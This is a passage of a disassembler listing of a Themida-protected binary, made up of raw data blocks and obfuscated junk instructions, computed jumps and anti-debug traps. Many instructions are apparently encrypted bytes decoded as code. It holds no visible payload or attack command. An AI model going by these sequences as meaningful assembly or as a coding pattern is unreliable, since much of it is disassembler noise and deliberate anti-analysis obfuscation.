11FE1D6h, 0C8B9595Fh, 0C5204D80h, 5396B57Eh, 0F3A82E80h dd 799249ACh, 60C4E2FBh, 0CCE004FDh, 0C53ADBh, 2A90B951h dd 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 89B069FEh db 57h, 0C2h, 54h ; --------------------------------------------------------------------------- loc_5D19AB: ; CODE XREF: Themida_:005D196Dj jmp short $+2 jmp loc_5D1D4C ; --------------------------------------------------------------------------- jmp short loc_5D19EF ; --------------------------------------------------------------------------- clc inc esp mov ch, 0Fh fsub dword ptr [ebp+edx*8+30h] test dword ptr [ebx-4Ch], 0DF56D20Fh sub eax, 304C3AEEh retn 0CF0Eh ; --------------------------------------------------------------------------- db 5Bh dd 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h, 0D96BD419h dd 7A3250DCh, 0CBB58743h, 0CC7C62E0h db 6Dh, 82h, 0A6h ; --------------------------------------------------------------------------- loc_5D19EF: ; CODE XREF: Themida_:005D19B2j ror dword ptr [edx], 1 arpl [edi+0BBFA3D8h], cx mov edi, ss call far ptr 7302h:0B6F5971Eh rcl dword ptr [edx-521160EAh], 1 shr dword ptr [ebp+493D782Eh], cl in eax, dx test ds:[esp+ecx*8+6Dh], bh pusha add al, 0E7h outsd call near ptr 0C4B0215Dh sbb esp, esi adc al, 0EAh aas cmp dword ptr [esp+ecx*8+6Dh], 63h adc [edx], ebx test al, 7Ch int 3 ; Trap to Debugger insd dec esp sal ah, 1 xlat pop edi test al, 0B5h out dx, eax mul dword ptr [edi-50h] sub bl, [edx] jno short locret_5D1A6D add al, 14h push ebx dec ebp adc [ebx], dl das inc ebx inc esp lahf bound ebp, [esi+3C758FBCh] jmp far ptr 746h:0EA61A607h ; --------------------------------------------------------------------------- db 0F2h, 3Bh, 45h dd 0E195D076h, 0EA0647EAh, 64A1460Dh, 5F7C9BE8h, 1899608Dh dd 495F12BEh ; --------------------------------------------------------------------------- inc esi locret_5D1A6D: ; CODE XREF: Themida_:005D1A38j retn 3522h ; --------------------------------------------------------------------------- dd 863DB384h, 80587551h, 14D96089h, 564A269Eh, 14B8B70Fh dd 861D569Eh, 92718A63h, 0D76A3Fh, 57940000h, 9691F5CAh dd 2FF5D25Ch, 533F7E32h, 1F0AF4C8h, 6DCC7CA3h, 0EE12E743h dd 0CC7C933Bh, 3EF6B6Dh, 32A6DB84h, 0DBC7FCA3h, 0F20CCFE6h dd 0FC1B5A37h, 34E03C67h, 0CCB8EF95h, 0A34616CDh, 0B5927E62h dd 17C10FA6h, 8A03419h, 0D5C57BBh, 6DB44BF0h, 78CD81B6h dd 3D858461h, 0D99423CBh, 977FBC54h, 5E16183h, 8F1C0FE1h dd 179E13B6h, 0BC70671Bh, 5CDFC17Dh, 0C48F6CA5h, 0DE0FE120h dd 2EE5876Eh, 69153286h, 805A819Ch, 0FDDA15B9h, 0B3E230DBh dd 0C6A29E13h, 0B526AD12h, 0C6D3F09Bh, 4A119423h, 919166A7h dd 46EAE195h, 20C45307h, 3DC035E1h, 580DCC9Eh, 73364A1Fh dd 8003BD83h, 0CC4BFF5Bh, 7B65D918h, 0A357B452h, 8F6193FBh dd 392269Ch, 8562BE80h, 1EBD5CBFh, 0C245D4Ch, 0CBC267FCh dd 0E02DE15h, 4C00D077h, 391D190Dh, 878DD985h, 19E94246h dd 866309F9h, 3CF7E4F7h, 23F1338Bh, 265B0494h, 5B11C8B2h dd 0D7F47024h, 826EA35Ch, 55275C03h, 0C3A8DD86h, 549328C4h dd 2FEF0C98h, 8BAA495Ah, 702B9FD4h, 397B3C9Dh, 1C7Dh, 0BD5CCF00h dd 345D4C1Eh, 0D267FC1Bh, 742BAA56h, 0D0C4FDA4h, 4BBC7054h dd 30h, 407D32C1h, 504DA54h, 6DCC7CBDh, 7CCE7437h, 4A266DCCh dd 3A01D652h, 5C825C91h, 0CC7C15ADh, 32DAF16Dh, 0C4F2D7FBh dd 702793BFh, 1096203Dh, 2E407D32h, 8FBCF7ABh, 0D1DE1A79h dd 0B693A2h, 0D678330Dh, 2E6DCCA9h, 0A0473E32h, 2EE217D0h dd 0A9F54D3Ch, 15116DCCh, 77611531h, 46FC25BCh, 2DDCE00Bh dd 6DCCA989h, 58532D53h, 6DCCA9EAh, 0DB670E0Ah, 3B6DCCA9h dd 45D5BD6h, 5571FEEBh, 23E33068h, 0E2F72D71h, 7F2A4420h dd 6DCC21C3h, 4934723h, 0C8B2265Bh, 457E23B6h, 9C26D551h dd 786DCC21h, 0A53CDFFCh, 108Ah, 8023B600h, 329E2643h dd 39504479h, 87E15D92h, 3D8032B5h, 64995249h, 3A7519B0h dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h dd 417830A7h, 8953CF55h, 4C381E3h, 83000000h, 1C8704EBh dd 24248B24h, 186068h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edi push 57A3DDCh pop edi shr edi, 8 or edi, 23B261E0h dec edi push ecx mov ecx, 25AF1EBBh xor edi, ecx pop ecx mov eax, edi pop edi push 3AC2h mov [esp], esp add dword ptr [esp], 4 pop esi push ebx push edi mov edi, eax mov ebx, edi pop edi mov [esi+8], ebx pop ebx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh ; --------------------------------------------------------------------------- loc_5D1D4C: ; CODE XREF: Themida_:005D19ADj mov eax, 6186857h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0C9h, 0FDh, 0A3h dd 3492662Bh, 0D3E14A2Ah, 0D0DB0C77h, 0CA8D506Eh, 43361F74h dd 7590A67Dh, 0EDB4DF26h, 83146237h, 0B2EEF111h, 6605695Bh dd 5045917Ah, 63450943h, 62A0141Ch, 622FDA67h, 291D9A6Bh dd 78E494Eh, 0BC740040h, 390C3525h, 0C60EB63Bh, 0D754CF2Eh dd 370E4805h, 54A6B705h, 126A941Eh, 107F0A6Eh, 0D25D4A30h dd 2CF1868h, 0BF961713h, 0C5DC8079h, 58C28B52h, 13E9h dd 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h dd 11E9EC8Ah, 6000000h, 833F7FDCh, 6269B089h, 0DC13018Bh dd 0B0E566FAh, 10E8h, 0B8EA6000h, 0BF795E35h, 223AE6EBh dd 0ABF33557h, 0CFBF0FEDh, 32E1815Ah, 0F22D0BBh, 0A87h dd 5E900h, 26D90000h, 0B6339C73h, 0CE96Bh, 271F0000h, 0B9A2BFFAh dd 8B482383h, 0BE901B7h, 0E4000000h, 96AF9FB8h, 2E61D955h dd 0BA6676BFh, 60609EC2h, 81666160h, 610599CEh, 61DEB70Fh dd 0E15B866h, 11E9h, 45E1FC00h, 5B63BF3h, 0A06C15FAh, 2DABB33Ch dd 9E8025Ch, 0C0000000h, 0D735A350h, 59C5CDACh, 58B0Fh dd 81660000h, 5EB374EAh, 0EEB3C181h, 5CB9064Dh, 0E9736CE5h dd 5, 988E779Ah, 0C8BF0F0Dh, 10E9CC8Ah, 53000000h, 0C7A964E7h dd 0C1B62F16h, 6B88DBCAh, 66BB167Bh, 0FF9FB8Bh, 0BF0FDFB7h dd 0E9FC8AD0h, 12h, 6D64EBF5h, 725AA548h, 7769AF18h, 8BC15997h dd 13E96E9Eh, 35000000h, 63C5AF24h, 71D07543h, 52EA32BDh dd 57610035h, 8166766Ah, 0BE1AFADAh, 0C9A0E11h, 5840Fh dd 81660000h, 0F3713E2h, 385h, 0C6B70F00h, 0BE50FA8Ah dd 786C5592h, 8166F95Eh, 601801F1h, 61CF8B66h, 6E8h, 0E23BFF00h dd 0F55A4984h, 0F9BF0F5Bh, 81F3B70Fh, 559C5CFh, 6F4EB978h dd 8B522AD1h, 9E95FDEh, 96000000h, 67C918BCh, 4D8CEB9Dh dd 0BE9h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah, 27DA5CBAh dd 0F6B70F08h, 0EF818AB1h, 42FACFF1h, 0A6C18166h, 6686B6C3h dd 0F8E63CBFh, 1810Fh, 0E8F90000h, 0Ch, 60FDE4F1h, 0A888A2BCh dd 66115E5Dh, 8E9h, 0E8058C00h, 0BDEC4E88h, 0C480591Fh dd 6800F58h, 81000000h, 0F84632E3h, 38A0F1Eh, 0F000000h dd 80B6F3B7h, 0A850Fh, 5E90000h, 9D000000h, 0F9F152AEh dd 0A6BA66FCh, 0AAB6BBBEh, 0BF0F5B0Bh, 11E8D0h, 8A9C0000h dd 0DD22B8B1h, 0F4511591h, 184982DBh, 664273CCh, 0B65FC88Bh dd 0C5C081C2h, 8148C1BFh, 0E998DFDFh, 10E839h, 0C2D70000h dd 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 11BE993Fh, 58160CFCh dd 8FC98166h, 0CA816616h, 0D2815ADBh, 30E17E0Dh, 0E9F0B70Fh dd 11h, 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0F685232Eh dd 0D6816686h, 11E9B034h, 0C2000000h, 5F37D00Bh, 2AE769FFh dd 6952360Fh, 3CD67CFCh, 2870Fh, 0C38B0000h, 0CE9h, 0C4D28500h dd 0B2F2A750h, 45BD8207h, 19870F87h, 0E8000000h, 13h, 0F888D2C1h dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 5B0727E2h, 18C0Fh dd 81F90000h, 0D964F6E8h, 28810F22h, 0E8000000h, 12h, 0B9794085h dd 4CFA0228h, 2F31EA0Bh, 0F39DBFDBh, 0BE909F3h, 37000000h dd 0F890F7E5h, 2DE7B292h, 0E85E37A0h, 0Ch, 5DABC372h, 4538CC6Fh dd 77062954h, 0BE616060h, 4D817978h, 0BF0F5861h, 61C381D7h dd 800D8374h, 0F4808EE3h, 9E95Ch, 342F0000h, 785ED287h dd 80E1286Eh, 81609FC4h, 0D78E87C3h, 7E96103h, 88000000h dd 0DE740FD8h, 0BB66C9B8h, 840F89A3h, 2, 0F78BE88Ah, 2810Fh dd 0DA8B0000h, 0FC3B70Fh, 8166FBBFh, 0F06D5EEh, 820FD7B7h dd 4, 0C652BA66h, 9C6ABBF9h, 10E86195h, 3C000000h, 0A456A54Ch dd 0A9147601h, 860FFA17h, 815455B3h, 4D0B13E1h, 0B70F5B64h dd 1A1CBAC8h, 0DA8A0248h, 66C7BF0Fh, 0E830D181h, 12E9h dd 3036BD00h, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh, 0E91A22CFh dd 12h, 9240181Dh, 516132EAh, 99616A28h, 58C6FA3Ch, 0C1B812BAh dd 0F39770Ah, 981h, 3820F00h, 80000000h, 0ADBB0AE6h, 0F853A8C9h dd 5E9DE8Bh, 0F5000000h, 0DE750940h, 58C0Fh, 81660000h dd 52149FDFh, 0AE9h, 0AB425A00h, 148DA412h, 5EFBEDBEh dd 0D1B70FF5h, 97B25160h, 60E8815Fh, 616CC5CFh, 0BF0FE38Ah dd 0BAD281DFh, 8A7AC26Ch, 0C78BFCDDh, 0ABADEBAh, 0D18B6641h dd 0F95641B9h, 0F0D68133h, 664E5975h, 7D0CC081h, 0C8C0Fh dd 7E90000h, 18000000h, 8A00B82Fh, 0E18A4B3Dh, 6E9D08Bh dd 43000000h, 0EA6C57E3h, 38A0F0Ch, 66000000h, 0DC80CB8Bh dd 0EE8E8h, 0AB6D0000h, 92720457h, 309C82F4h, 5E02E430h dd 5AF38A50h, 0FE8B6658h, 0DE85857h, 0FE000000h, 0AF7E5FF0h dd 5BFF01BFh, 743141FEh, 85CE8166h, 0F515E1Ah, 0D89h, 8E900h dd 0C8C90000h, 0A4BFEC30h, 0B15A5398h, 5BB866FFh, 0B3D6B3F6h dd 0CE993h, 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0E8521B3Eh dd 7, 6846DB38h, 0F82200E0h, 80605A5Ah, 0AE864E3h, 6C000000h dd 9078E030h, 0EB2AEBD3h, 8A0F63h, 58000000h, 0D88B6661h dd 0DF81DA8Bh, 7AC991FCh, 669EDB80h, 0F1198BEh, 8Dh, 14E900h dd 0D3680000h, 9AAC8EA3h, 0FF270AABh, 29B21461h, 8BEFFB64h dd 0D28072DCh, 40BB662Eh, 0F960529Eh, 8CEB8166h, 8B5E610Dh dd 816660CBh, 0E8B4FAEFh, 0Bh, 0E5131816h, 2C74959Bh, 0BB668B89h dd 2293B7B5h, 0FC57615Bh, 0C681665Eh, 0BE6625CCh, 0BA663461h dd 11E9D80Eh, 0EE000000h, 56FCBB8Ah, 7B9223EDh, 82423B1Fh dd 1EE9C2EAh, 0B86601B6h, 0F6811D0Eh, 35CE12D8h, 0F95EEBBEh dd 1A810F51h, 0E8000000h, 14h, 6AB0B461h, 787B4519h, 90EBA165h dd 43CAD94Ch, 43B37452h, 0FBBF0F5Bh, 30B9C38Bh, 66203B3Fh dd 148CC281h, 7098BA66h, 15880F60h, 0E9000000h, 10h, 0E233137Eh dd 0DD76680Ch, 886F599Dh, 0BF9E6ACFh, 61C88B66h, 65C18166h dd 0EB816639h, 0F98A9437h, 0F4CD980h, 178Eh, 0EE800h, 0A3830000h dd 0A30C0B7Eh, 1D2F6391h, 38634CD2h, 5FD08B66h, 14E8F9h dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h dd 870F4863h, 2, 0BF5FF98Bh, 5A00F2Dh, 0DF8BCB8Bh, 0FFBBDF8Bh dd 0F432303h, 184h, 0BF60F800h, 1EC81232h, 8B0F61F5h, 1 dd 58BE66FCh, 0C2BF0FB5h, 0DE8h, 9DCABB00h, 0DBA38E90h dd 3250583h, 8B0FC2BEh, 2, 0E95FF38Ah, 13h, 7B9358E5h dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 0E82AAFC3h, 0Ah, 77CDF67Ah dd 4A6B691Bh, 0E960019Fh, 12h, 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh dd 6CA522B0h, 61F9D410h, 0DB816659h, 65BAD87Fh, 0F367C93h dd 8A0FCBBFh, 14h, 0FE9h, 0D05E3A00h, 22550960h, 76789658h dd 1FBCEBADh, 8E9F38Bh, 5D000000h, 0A374C237h, 0F5A47139h dd 51F7B70Fh, 250BF66h, 28C0F59h, 8A000000h, 0F890FECh dd 0E8000000h, 7, 272884E3h, 50EC796Dh, 11E85F59h, 2B000000h dd 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 0AC09EA81h dd 0F9583FD8h, 0F0C68166h, 0E8816677h, 0FE978E9h, 99000000h dd 0F5654427h, 0C55772B3h, 921B59Bh, 0BB66BC04h dd 0D9BA8844h, 66537C25h, 5D5E081h, 816660F5h, 66D58CC9h dd 8A61F38Bh, 0AE8CFh, 5BFE0000h, 85A06BEFh, 187CBE95h dd 13E9h, 4A47EB00h, 572685D3h, 0FAD10159h, 680B3A39h dd 0F6DB58Fh, 7E85Fh, 0BA970000h, 0F5BB4937h, 0F88B66A9h dd 8E0F59h, 52000000h, 0C6B70F5Ah, 0D44FB866h, 58E0Fh dd 48B80000h, 8A21E6F5h, 4037B9C1h, 816666ECh, 8AD334D6h dd 0D38B66DAh, 0CAB70FF9h, 2FDD8056h, 54D9805Eh, 19A4D181h dd 81560866h, 101331D9h, 0F9F85977h, 7E950h, 278A0000h dd 6328507Fh, 8A0F5A34h, 1, 0AAB4BFF9h, 8E8567Ah, 71000000h dd 9ECBB28Eh, 0BA1B9E2Eh, 0AC6478Fh, 8166F55Bh, 0B459CEEAh dd 0FE8FCDFh, 53000000h, 675D33C4h, 0B8BC3651h, 3EB02807h dd 0DE8B4002h, 138C0F58h, 0E9000000h, 0Eh, 0CAF81865h dd 24254CBCh, 81EA7B9Fh, 0BF0F028Eh, 14E9C2h, 0E4700000h dd 0A2D8C542h, 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 81608422h dd 0C842B2E3h, 5E951h, 8A680000h, 6101BC15h, 85C9AEB8h dd 11E94Dh, 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah dd 8063C9ACh, 80601AD4h, 880F62F3h, 6, 8D0Fh, 0F9610000h dd 1CBBB6BEh, 0E9FA8B74h, 10h, 0EC4617C5h, 2B736375h, 8391435Fh dd 6A9457BBh, 0BE97AB0h, 35000000h, 0FF99221Ch, 303233E3h dd 0CA8BF576h, 0CC87C881h, 0F38B1363h, 9BBA66FCh, 138C0F73h dd 0E8000000h, 0Ah, 666312D8h, 1101993Ch, 0BF0F4C27h, 8B6658DBh dd 0F08166DAh, 0D381069Eh, 38394158h, 8CBB5F56h, 607486B0h dd 10E8F5h, 0CE220000h, 0AD5CE6B5h, 0F28B4569h, 99EF79AEh dd 6159C102h, 19830Fh, 14E90000h, 4B000000h, 573C24A4h dd 0E2C6B49Fh, 62F50AA1h, 0E488CEDFh, 0F97041Ah, 8166C6BFh dd 0F3767C8h, 0E960D0BFh, 0Fh, 55122297h, 2655157Dh, 162C4B27h dd 0BBA75B36h, 4B5A6888h, 8D0F6061h, 2, 9E9F1B7h, 5B000000h dd 9890ACDh, 3E3A4A3Ch, 8B665761h, 0F5659DEh, 805AC2B7h dd 0D88B07D7h, 0F78ACF8Ah, 10E9h, 0A90E9400h, 0CF541359h dd 0FF7C7386h, 0F78CB5ACh, 0EFE08131h, 51279E94h, 5AA9CE80h dd 0C30DF281h, 6E934D2h, 63000000h, 4CD21D2Fh, 8B66F963h dd 5E9C2h, 561F0000h, 6096EADEh, 5800Fh, 81660000h, 0F12E9D2h dd 0A8Bh, 5E900h, 932D0000h, 618C49FEh, 6650CE8Ah, 6059D68Bh dd 7E8h, 9F068100h, 62E5482Dh, 8C0F615Eh, 2, 880FF88Bh dd 6, 1783C781h, 0BF0F4F3Bh, 18810FDAh, 60000000h, 0FE95A57h dd 4000000h, 427A99F7h, 0DEC4500Bh, 2F158FC8h, 8061B9FFh dd 0E881D4D1h, 3D2AD142h, 5870Fh, 81660000h, 0F805A9D1h dd 0CFBF0F52h, 13E958h, 59950000h, 0EFD354F7h, 75830B53h dd 91052710h, 0B414336Dh, 8E8A5h, 7D780000h, 9F53C31Ah dd 0E1811090h, 13CC60F5h, 0E8F78B59h, 0Fh, 7CB41D8h, 0A79EE285h dd 0F07E8660h, 0F7E4CDFh, 1389h, 0EE900h, 35A70000h, 0E389D4C3h dd 557D15D5h, 550CC57Eh, 148F0F58h, 0E9000000h, 0Fh, 800C9A2Fh dd 0C97D21E1h, 460C40D2h, 0E9B604DBh, 8, 0CE03758Ch, 27B90E24h dd 0E85CDB80h, 12h, 0A954C516h, 5908E257h, 0C7667C2Ch dd 0D9953ECDh, 850FC521h, 6, 880Fh, 0F85A0000h, 13E8h dd 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h dd 59C2B70Fh, 6659D580h, 664EE1BEh, 0BF0FCB8Bh, 0FB8B66DFh dd 0C7816660h, 61F5454Bh, 8C0FFA8Bh, 0 ; --------------------------------------------------------------------------- jmp loc_5D2965 ; --------------------------------------------------------------------------- db 7Ah, 0ACh, 0E6h dd 5B0330E5h, 76D22F72h, 37DB27h db 0D3h ; --------------------------------------------------------------------------- loc_5D2965: ; CODE XREF: Themida_:005D2950j jge loc_5D298D call sub_5D297F adc dl, 0Bh inc eax iret ; --------------------------------------------------------------------------- db 32h, 0D4h, 7Eh dd 3D62F336h db 0D3h, 26h, 0C5h ; =============== S U B R O U T I N E ======================================= sub_5D297F proc near ; CODE XREF: Themida_:005D296Bp call sub_5D298B pop ecx mul byte ptr [edx+22h] outsd wait xchg eax, edi sub_5D297F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D298B proc near ; CODE XREF: sub_5D297Fp pop edi pop ebx loc_5D298D: ; CODE XREF: Themida_:loc_5D2965j jnz loc_5D299E jb loc_5D299E xor cx, 40D6h loc_5D299E: ; CODE XREF: sub_5D298B:loc_5D298Dj ; sub_5D298B+8j push ecx mov cx, 0F16h pop ecx call near ptr loc_5D29AD+4 dec ebx cwde pusha inc ecx loc_5D29AD: ; CODE XREF: sub_5D298B+19p add edi, [edx-7E994675h] sub_5D298B endp ; sp-analysis failed fisttp dword ptr ds:6E95Ah[esi*4] ; --------------------------------------------------------------------------- dw 0 dd 53F022BDh, 0D0818D3Ah, 4B292FCh, 0BF0FECB7h, 0EA8166F8h dd 7E91629h, 5A000000h, 68E93469h, 0F58AF84Dh, 299CB866h dd 14E9h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh dd 9FB02FC0h, 10E95317h, 0DF000000h, 52C7F511h, 0B86D94D0h dd 0BC58686Eh, 5EA2977Ah, 1CF8166h, 0DE942h, 5B8E0000h dd 510FDB1Fh, 0CA04EF2Eh, 0FDA3F80h, 138Ah, 5F566000h dd 9E8h, 0F211F200h, 0C835AA8Ch, 6158FD2Ch, 0B8D98151h dd 5F0C49C5h, 12880Fh, 0DE90000h, 28000000h, 5467DABBh dd 4E331F03h, 0F45940A5h, 0AAF08166h, 660FB375h, 8060C28Bh dd 0FC605CF7h, 0EE8h, 1E4BE900h, 8E93BD98h, 30F667DCh dd 5A43CD8Ah, 21BF6161h, 0E91720BBh, 0Dh, 74682A16h, 5BC362B1h dd 9F890832h, 0CE8B66B6h, 51FCD78Bh, 0B880Fh, 6E90000h dd 0AA000000h, 7CB41D8h, 0F78B5885h, 6E9h, 9E411500h, 60929CC4h dd 5E8E2B0h, 5B000000h, 8499279h, 5AC3BF0Fh, 0ABC58061h dd 800F82B1h, 3, 0FD3BF0Fh, 8B66F9B7h, 0B70FF9DAh, 0F0F381FAh dd 0E94CE865h, 5, 83AAEABAh, 0F8F5BECAh, 0B70F3457h, 28F0FC8h dd 8A000000h, 0CE9E1h, 64D80000h, 40FD0478h, 4B5F6341h dd 0BBF9A604h, 5D2B0B49h, 820F5B50h, 6, 13D8F781h, 0BE95479h dd 51000000h, 48189567h, 0BCA309E6h, 0EE8F717h, 18000000h dd 8A4273CCh, 0E6BC8467h, 0AB6F6F5h, 14E844h, 6BD90000h dd 847BE11Ah, 727A2980h, 0B9329278h, 0E2CE9973h, 8166A659h dd 59A5E8CFh, 5E95Bh, 72A70000h, 0F62D283h, 0F781F1BFh dd 43E88D95h, 0BE8h, 9F4E8D00h, 9B7CAFE5h, 0DAC0EE22h dd 0CE959h, 38B80000h, 77747621h, 762138B8h, 7E97774h dd 82000000h, 79D8721Ah, 7E84E61h, 4000000h, 0B761E00Fh dd 0EBB83F87h, 5F0A1AA6h, 810FF38Bh, 2, 0AE9E1B0h, 0C2000000h dd 241F9ECAh, 0A48A4109h, 0F58A6085h, 0FF861FCh, 0AE9C7B7h dd 8C000000h, 6EF63DD7h, 3C3CDB9Eh, 0DF81668Fh, 8157C48Ch dd 0DDDA25D9h, 6B55F21h, 0A1F68166h, 0CF8166A4h, 0F609306h dd 12E9C6BFh, 2D000000h, 9B1523FEh, 0E2D1D925h, 0FDEABFF2h dd 36A5EC56h, 0FF861A8h, 1F8Ch, 870F6000h, 0 dd 11E8h, 0AADAF00h, 3361C469h, 0F4C4B6E8h, 92EEE48Ch dd 615BCF18h, 7280B6BBh, 15880F40h, 0E8000000h, 9, 3653EC24h dd 0A60C207Eh, 830FFEh, 5A000000h, 3E0579BAh, 1CEF816Ah dd 6069A8E0h, 0B8DF8B66h, 1AC8387Dh, 0CA8BF561h, 8A8CC181h dd 0E8F9613Ch, 0Dh, 9E64C65Eh, 0D9EA0371h, 0DE43F608h dd 51B8668Dh, 850F5BBEh, 8, 0CCF28153h, 5A20FC7Eh, 1354B966h dd 6A28BF66h, 0F368B966h, 8E986B1h, 0DD000000h, 0E6E444C8h dd 8B02C26Dh, 0EDBA66F7h, 982BB869h, 8E93926h, 0E5000000h dd 0DE88D87Bh, 66ECE0E4h, 66C61EBBh, 0F4418BBh, 0A8Bh dd 5E900h, 28830000h, 0F9917B3Ch, 3880Fh, 0E7800000h, 0DE85322h dd 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h, 0BF0F585Ah dd 0B2D78BF1h, 0F5CE8BDBh, 66D9BF0Fh, 0C380D08Bh, 0B866F5D7h dd 8E0F3EF1h, 7, 1870Fh, 66FC0000h, 0BE189ABBh, 6D130BBh dd 0CE9h, 19B88E00h, 85671DBh, 0D882984Dh, 0DE816629h dd 0BF0F3023h, 0A8B257FEh, 0B1CE8B59h, 0E3B852C7h, 5F739CA4h dd 0E6D6DA81h, 0F2817F1Fh, 5DC4DBF0h, 78A0Fh, 830F0000h dd 1, 1860FF8h, 0F5000000h, 0B9D482BAh, 4810F07h, 52000000h dd 0E85F6160h, 0Fh, 3E671454h, 0E39B2B8Fh, 90DB726Fh, 0E9A5BE9Ch dd 0Ah, 3B94B6B8h, 884DF861h, 665883BDh, 0BF66D68Bh, 66500A0Eh dd 5B908FB9h, 0E880Fh, 9E90000h, 53000000h, 283C87EEh dd 8056B9AFh, 0F6019B2h, 12E9C3B7h, 0FB000000h, 8D140AE6h dd 25F004h, 0B9053FF1h, 49135C2Ch, 0DE8614Fh, 9E000000h dd 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh, 665F90B7h, 0D56BF381h dd 6E8h, 0B9CDF800h, 0E868F324h, 8, 0ED239685h, 333C200Eh dd 5A5F6160h, 0E966D080h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h dd 44BE635Fh, 662C322Dh, 0D196E381h, 9E68166h, 0FE844h dd 0D9980000h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 28B0FA5h dd 8A000000h, 6E85AEEh, 0EB000000h, 41A00700h, 23CB8043h dd 80DE8B5Ah, 0F0B2C5F1h, 8E9h, 64136900h, 4A583615h, 11E8CEh dd 33AE0000h, 99B16D2Fh, 744976ECh, 0A4D634A0h, 0F0C8081h dd 583h, 0D3816600h, 815B4BB4h, 1763F2E1h, 13E862h, 6390000h dd 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h, 0F28B6679h dd 0E9576058h, 0Eh, 2E687471h, 0D4596000h, 0EFF2B25Fh dd 61588218h, 28F0Fh, 5FB00000h, 0F5CFB70Fh, 0E9D9B70Fh dd 6, 39B2841Dh, 8B0F56C2h, 5, 2051D2BEh, 0CE909h, 5ECD0000h dd 2E71141h, 0BC0A9E0Fh, 8E8020Ch, 0BF000000h, 0A12949D5h dd 8A670B07h, 5E958D5h, 0 dd 0E0664F32h, 71EE80F9h, 12E9h, 0FB343300h, 373BB1Fh dd 0A96A20ECh, 5DB4D9Dh, 60873A0Dh, 66DEB70Fh, 0A521C681h dd 2B86661h, 5840F83h, 0BF000000h, 397DBB8Bh, 5E9h, 186BE700h dd 0BA667C4Eh, 76B88F3Dh, 0B02CAD4Dh, 0AE80Ah, 0E8F20000h dd 5EC5C0BFh, 28DFAC49h, 11E9h, 879C0700h, 6D05FB0Ah, 0A358555Fh dd 63CD2A3Dh, 605E29CBh, 666112B1h, 0F5B31BFh, 486h, 0C68A5200h dd 33CB805Ah, 8BDEB70Fh, 66C4B1DAh, 0E92849BEh, 9, 57A32A73h dd 6AD6022Ch, 0E981668Fh, 8166CF02h, 604742E1h, 0E3816651h dd 6159AA63h, 12E9h, 0BFB08F00h, 7A0B3CD8h, 0C0D249ECh dd 120AACDEh, 0BF62C28Dh, 0EE28E3Eh, 18DF8166h, 0F38B6616h dd 668BC780h, 0B318D6BBh, 0F780F5D2h, 0FD68B8Fh, 0E9F8F7B7h dd 0Bh, 0FD67697Fh, 0E07409B1h, 669C075Ch, 0F38BF88Bh dd 6059FC56h, 59FB8B51h, 12E8h, 0B4BB8200h, 9EB5F692h dd 93245990h, 8A4C4B87h, 609856C1h, 0B0615E61h, 0DCBA66E3h dd 9E9F8h, 0BDAA0000h, 9C9A9FFDh, 66C4C1A8h, 890FC18Bh dd 0 dd 0BE8B7B5h, 17000000h, 82C85B21h, 0C67AA528h, 805F6DD8h dd 8B6680F0h, 10E8FBh, 0B26A0000h, 0B8EF922Fh, 32967240h dd 3DDAC975h, 8D0F5F1Bh, 14h, 0FE9h, 15AD5000h, 6D446F45h dd 43A3F628h, 0F9E0F735h, 571EB65Eh, 6060F958h, 800Fh dd 810F0000h, 0 ; --------------------------------------------------------------------------- popa js loc_5D30F6 loc_5D30F3: ; CODE XREF: Themida_:005D3159j add bl, 21h loc_5D30F6: ; CODE XREF: Themida_:005D30EDj popa jns loc_5D30FE stc loc_5D30FE: ; CODE XREF: Themida_:005D30F7j mov cx, 85F6h push ebx mov ch, bh pop edi js loc_5D3112 sbb edx, 6CCB3161h loc_5D3112: ; CODE XREF: Themida_:005D3106j jmp loc_5D3128 ; --------------------------------------------------------------------------- db 68h dd 20497A16h, 863241E1h, 0D7C0A1B8h, 53C03D11h ; --------------------------------------------------------------------------- loc_5D3128: ; CODE XREF: Themida_:loc_5D3112j pusha pusha jmp loc_5D3137 ; --------------------------------------------------------------------------- db 7Fh dd 0BCDB1E4Ch db 0EFh, 82h, 95h ; --------------------------------------------------------------------------- loc_5D3137: ; CODE XREF: Themida_:005D312Aj pusha popa popa jno loc_5D3146 ja $+6 loc_5D3146: ; CODE XREF: Themida_:005D313Aj popa mov ecx, 2812A2CBh adc edx, 78BCACA6h loc_5D3152: ; CODE XREF: Themida_:005D315Bj call sub_5D3168 ; --------------------------------------------------------------------------- push edx pop es loop loc_5D30F3 jno short loc_5D3152 daa adc [ecx], bl retn ; --------------------------------------------------------------------------- db 58h, 91h, 4Ah dd 862EF6FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D3168 proc near ; CODE XREF: Themida_:loc_5D3152p add si, 199Ch pop edi clc jg loc_5D3177 mov ah, 6Bh loc_5D3177: ; CODE XREF: sub_5D3168+7j 